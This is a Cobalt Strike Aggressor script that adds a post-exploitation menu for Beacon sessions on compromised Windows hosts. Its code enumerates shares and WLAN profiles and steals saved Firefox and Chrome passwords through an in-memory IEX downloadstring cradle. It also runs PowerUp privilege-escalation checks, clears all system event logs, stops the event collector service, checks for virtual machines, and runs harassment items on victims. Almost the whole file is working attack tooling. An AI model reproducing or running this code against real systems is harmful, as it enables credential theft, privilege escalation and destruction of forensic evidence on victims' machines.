Und3rf10w-Aggressor-scripts/postExploit/postExploit.cna

# Adds menu driven support for some post exploit stuff

import common.*;
import beacon.*;


# Arguments: beacon id, [code to host]
sub bhost_script {
	local('$port $builder');
	$port = [CommonUtils randomPort];

	# build up our command to send to Beacon
	$builder = [new CommandBuilder];
	[$builder setCommand: 0x3b];
	[$builder addShort:   $port];
	[$builder addString:  $2];

	# task Beacon to run the above command.
	call("beacons.task", $null, $1, cast([$builder build], 'b'));

	# build and return our PowerShell one-liner
	return "IEX ((new-object net.webclient).downloadstring('http://127.0.0.1: $+ $port $+ /'))";
}


# build the powershell artifact
sub build_powershell_artifact {
	$shellcode = artifact("$1", "powershell");
	return $shellcode;
}

popup beacon_bottom{
	menu "Post-Exploitation" {
		menu "Enumeration" {
			menu "PowerView"{
				item "List accessible shares"{
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import PowerView.ps1");
						bpowershell_import($1, script_resource("scripts/PowerView.ps1"));
						binput($1, "powershell Invoke-ShareFinder -CheckShareAccess");
						bpowershell($1, "Invoke-ShareFinder -CheckShareAccess");
					}
				}
			}
			item "List WLAN Profiles"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "netsh wlan show profiles");
					bshell($1, "netsh wlan show profiles");
				}
			}
			item "Is User Local Admin?"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell Is-UserLocalAdmin")
					bpowershell($1, "([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] \"Administrator\")")
				}
			}
		}
		menu "Get Credentials"{
			item "Get Firefox Passwords"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Get-FirefoxPasswords.ps1");
					# read in the powershell script
					$handle = openf(script_resource("scripts/Get-FirefoxPasswords.ps1"));
					$firefox_script = readb($handle, -1);
					closef($handle);
					# host firefox script on beacon
					$cmd = bhost_script($bid, $firefox_script);
					binput($bid, "powershell Get-FirefoxPasswords");
					# execute in-memory hosted script
					bpowershell($bid, "$cmd");
				}
			}
			item "Get Chrome Passwords"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Get-ChromePasswords.ps1");
					# read in the powershell script
					$handle = openf(script_resource("scripts/Get-ChromePasswords.ps1"));
					$chrome_script = readb($handle, -1);
					closef($handle);
					# host chrome script on beacon
					$cmd = bhost_script($bid, $chrome_script);
					binput($bid, "powershell Get-ChromePasswords");
					# execute in-memory hosted script
					bpowershell($bid, "$cmd");
				}
			}
		}
		menu "Privilege Escalation"{
			item "All PowerUp checks"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import PowerUp.ps1");
					bpowershell_import($1, script_resource("scripts/PowerUp.ps1"));
					binput($1, "powershell Invoke-AllChecks");
					bpowershell($1, "Invoke-AllChecks");
				}
			}
		}
		menu "Anti-forensics" {
			item "Clear System Event Logs (psh)"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
					bpowershell($1, "gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
				}
			}
			item "Stop Windows Event Collector svc"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "sc stop wecsvc");
					bshell($1, "sc stop wecsvc");
				}
			}
			item "Check VM" {
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Check-VM.ps1");
					bpowershell_import($1, script_resource("scripts/Check-VM.ps1"));
					binput($1, "powershell Check-VM");
					bpowershell($1, "Check-VM");
				}
			}
		}
		menu "Annoy" {
			item "Open Hidden Internet Explorer" {
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Open-HiddenInternetExplorer.ps1");
					bpowershell_import($1, script_resource("scripts/Open-HiddenInternetExplorer.ps1"));
					prompt_text("URL to open?", "https://www.youtube.com/watch?v=wZZ7oFKsKzY", {
						$videoURL = $1;
						return $videoURL;
					});
					binput($1, "powershell Open-HiddenInternetExplorer $videoURL ");
					bpowershell($1, "Open-HiddenInternetExplorer $videoURL ");
				}
			}
			# Credit goes to SadProcessor for these scripts!
			menu "Play chiptunes" {
				item "Play Imperial March" {
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import Play-ImperialMarch.ps1");
						bpowershell_import($1, script_resource("scripts/annoySongs/Play-ImperialMarch.ps1"));
						binput($1, "powershell Play-ImperialMarch");
						bpowershell($1, "Play-ImperialMarch");
					}
				}
				item "Play Rickroll" {
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import Play-RickAstley.ps1");
						bpowershell_import($1, script_resource("scripts/annoySongs/Play-RickAstley.ps1"));
						binput($1, "powershell Play-RickAstely");
						bpowershell($1, "Play-RickAstely");
					}
				}
				item "Play Tetris Theme" {
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import Play-TetrisTune.ps1");
						bpowershell_import($1, script_resource("scripts/annoySongs/Play-TetrisTune.ps1"));
						binput($1, "powershell Play-TetrisTune");
						bpowershell($1, "Play-TetrisTune");
					}
				}
			}
		}
	}
}